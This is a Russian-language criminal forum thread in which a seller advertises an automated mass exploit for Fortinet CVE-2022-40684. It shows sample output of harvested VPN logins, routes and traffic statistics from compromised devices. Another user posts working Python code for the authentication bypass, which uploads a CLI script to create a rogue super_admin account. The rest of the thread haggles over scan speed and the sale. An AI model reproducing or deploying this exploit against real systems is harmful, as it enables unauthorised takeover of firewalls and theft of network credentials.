• XSS.stack #1 – первый литературный журнал от юзеров форума

Автомазирированный exploit Fortinet CVE-2022-40684

В этой теме можно использовать автоматический гарант!

Статус
Закрыто для дальнейших ответов.

kamzzzzz

(L1) cache
Пользователь
Регистрация
22.01.2019
Сообщения
692
Реакции
330
-Написан на питоне
-Скорость 5кк адресов в сутки
-Работает по API
-Жрет листы формата
IP:HTTPS
IP:HTTPS:SSH
-Запуск python3 exploit.py [keys]
-l лист таргетов list.txt
-n Имя юзера для авторизации (Можно установить default)
-U Имя админа для работы в системе (Можно установить default)
-p Пароль (Можно установить default)
-r Вслучае, если надо остановить эксплойт листа, продолжит с последнего адреса
-s Стартовать с определенной строки (default=0)

Эксплойт создает юзера, настраивает политики и парсит необходимую для работы информацию, в процессе работы отображает количество чекнутых строк, количество гудов и потенциальноуязвимых серверов
Вывод три фалйа:

result_date.txt - все гуды, выводит данные для подключения, к веб, к впн, кредсы, аккаунт на который зарегистрирован фортик, все роуты из конфигурации, статистика трафика за последнюю неделю, количкество сессий на текущий момент, вот так:
================================================================
WEB: https://ip:443
VPN: IP:9999
login:pass
Fortiguard account: support@domain.com
route:
10.10.0.0/21
110.164.158.168/29
111.110.40.0/24
111.110.50.0/24
111.110.60.0/24
125.24.30.1/32
125.24.30.2/32
192.168.0.0/24
203.157.160.216/29
traffic stat:

Policy "VLAN1->SD-WAN" - sessions:2507
last used:2023-09-07 05:27:03
MB last week:7190497.4562

Policy "VLAN3->SD-WAN" - sessions:0
last used:Never
MB last week:0.0000

Policy "VLAN8->SD-WAN" - sessions:81
last used:2023-09-07 05:27:03
MB last week:3980.0087

Policy "VLAN7->SD-WAN" - sessions:1772
last used:2023-09-07 05:27:03
MB last week:839857.7246

Policy "Test-Authen" - sessions:0
last used:Never
MB last week:0.0000

Policy "VLAN2->SD-WAN" - sessions:0
last used:Never
MB last week:0.0000

Policy "VLAN4->SD-WAN" - sessions:0
last used:Never
MB last week:0.0000

Policy "VLAN5->SD-WAN" - sessions:136
last used:2023-09-07 05:27:03
MB last week:263161.1355

Policy "VLAN6->SD-WAN" - sessions:634
last used:2023-09-07 05:27:03
MB last week:135591.7918

Policy "all_Pacs" - sessions:0
last used:2023-09-07 04:57:11
MB last week:408.9421

Policy "ss" - sessions:0
last used:Never
MB last week:0.0000
================================================================
ldap_date.txt - все гуды содержащие ldap users - тоже самое но добавляется строка с ldap user
partially_vulnerable_date.txt - потенциально уязвимые, но не пробитые по какой либо причине, причина указывается там же, вот например может указывать на нестандартный SSH port или другие причины
================================================================
comment: Target https://ip:9443 partially vulnerable because SSH connection was not successful
superadmin: False
WEB: https://ip:9443
Fortiguard account: unknown
route:
traffic stat:False
================================================================

Цена $1.5k - 3 копии, гарант за Ваш счет
 

Вложения

  • forti.jpg
    forti.jpg
    73.3 КБ · Просмотры: 147
Пожалуйста, обратите внимание, что пользователь заблокирован
partially vulnerable because SSH connection was not successful
Извини за оффтоп. Ты пишешь что эксп работает по API, но зачем там SSH коннекшн?
 
Извини за оффтоп. Ты пишешь что эксп работает по API, но зачем там SSH коннекшн?
Сама уязвимость (CVE) заключается в прогрузке своего ключа для авторизации по ССХ на сервере, собственно все, дальше API
«Обход аутентификации с использованием альтернативного пути или канала [CWE-88] в FortiOS и FortiProxy позволяет неаутентифицированному злоумышленнику выполнять операции в административном интерфейсе с помощью специально созданных запросов HTTP или HTTPS
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ясно понятно, но уязвимость заключается в Authentication Bypass, там не нужен ssh. Это PoC работал с ключами. Ну да не суть. В таком случае 5М в сутки очень сомнительно, прям откровенный пиздежь, я бы сказал. Даже по одному запросу на таргет, это 57 RPS в асинке без учета таймаутов. Дичь полная

Ладно, удачных продаж. Ещё раз, извини за оффтоп
Жалоба -> флуд в коммерческой теме. Удалят мои сообщения
 
Ясно понятно, но уязвимость заключается в Authentication Bypass, там не нужен ssh. Это PoC работал с ключами. Ну да не суть. В таком случае 5М в сутки очень сомнительно, прям откровенный пиздежь, я бы сказал. Даже по одному запросу на таргет, это 57 RPS в асинке без учета таймаутов. Дичь полная

Ладно, удачных продаж. Ещё раз, извини за оффтоп
Жалоба -> флуд в коммерческой теме. Удалят мои сообщения
О каком пиздеже речь идет, если процедура загрузки ключей ссх и авторизация проходит только на уязвимых таргетах, если в теории загрузить 5кк уязвимых адесов, само собой он не сделает их за сутки. Просто не пойму, ты дурака включить решил, подумав что это скорость обработки валидных доступов, или реально не понимаешь...
 
О каком пиздеже речь идет, если процедура загрузки ключей ссх и авторизация проходит только на уязвимых таргетах, если в теории загрузить 5кк уязвимых адесов, само собой он не сделает их за сутки. Просто не пойму, ты дурака включить решил, подумав что это скорость обработки валидных доступов, или реально не понимаешь...

у пепла есть красивое решение без ключей и прочей ебалы. дампит отлично все акки и лдап. но его сплой не тянет соки, что тянет твой.
 
Извини за оффтоп. Ты пишешь что эксп работает по API, но зачем там SSH коннекшн?
чтобы врубить апи и создать апи юзера с токеном через ссш?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Палю приватные приваты (24.04.2023), облегчит добавление
Тоже накину немного инфы, кому интересно
Как выполнить любую CLI-команду без ssh досутпа.
В фортиках есть функция загрузки и шедулинга кастомных скриптов, auto-script называется.
endpoint: /api/v2/monitor/system/config-script/upload
post-payload: {"file_content": b64_cli_cmd_content, "filename":"script"}
Отправляем тело скрипта в base64 имя любое. Он выполнится сразу. В доках можно подробнее узнать, что с ними делать.
на питоне примерно так выглядит добавление админа
Python:
import requests
from base64 import b64encode

HOST = 'https://127.0.0.1'

headers = {
    'Forwarded': 'for="[127.0.0.1]:8080";by="[127.0.0.1]:8081";',
    'User-Agent': 'Report Runner',
}

script =
"""
    config system admin
    edit "FenebutLockbitEbut"
    set accprofile "super_admin"
    set vdom "root"
    set password P@$$w0rd
    end
"""
post_data = {"file_content": b64encode(script.encode()).decode(),"filename":"pohui.txt"}
resp = requests.post(HOST + '/api/v2/monitor/system/config-script/upload',
     json=post_data,
     headers=headers,
     verify=False,
)
print(resp.json().get('status'))

Иногда бывает, что по дефолту консоль висит в другом виртуальном домене, поэтому если первый запрос обломается со status: error, то дописываем команду config global в начало переменной script
Python:
script = 'config global\n' + script
В ответе оиждаем status: success при успешном выполнении. Метод out of bound, поэтому вывода нет, только статус выполнения.

но его сплой не тянет соки, что тянет твой.
Если это не сарказм, то могу добавить такую инфу, это не проблема.
 
Последнее редактирование:
Собственно продажа закрыта по двум причинам, все написавшие просто тратят мое время и попиздеть хотят, много ли таргетов, жира, как политики отконфигурировать и тд, во-вторых я сейчас увидел что пепел выкладывал примерно 70% от того что я продаю в паблик, торговать воздухом не охота. Модеры закройте тему, пожалуйста
 
Собственно продажа закрыта по двум причинам, все написавшие просто тратят мое время и попиздеть хотят, много ли таргетов, жира, как политики отконфигурировать и тд, во-вторых я сейчас увидел что пепел выкладывал примерно 70% от того что я продаю в паблик, торговать воздухом не охота. Модеры закройте тему, пожалуйста

ну как бы, а я хотел прикупить для одного поца ну и для моей коллекции :)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Не судьба))
да ладно, для коллекции можно сделать исключение) Тем более он понимает, что это полу-паблик, и готов взять.
 
Статус
Закрыто для дальнейших ответов.
Верх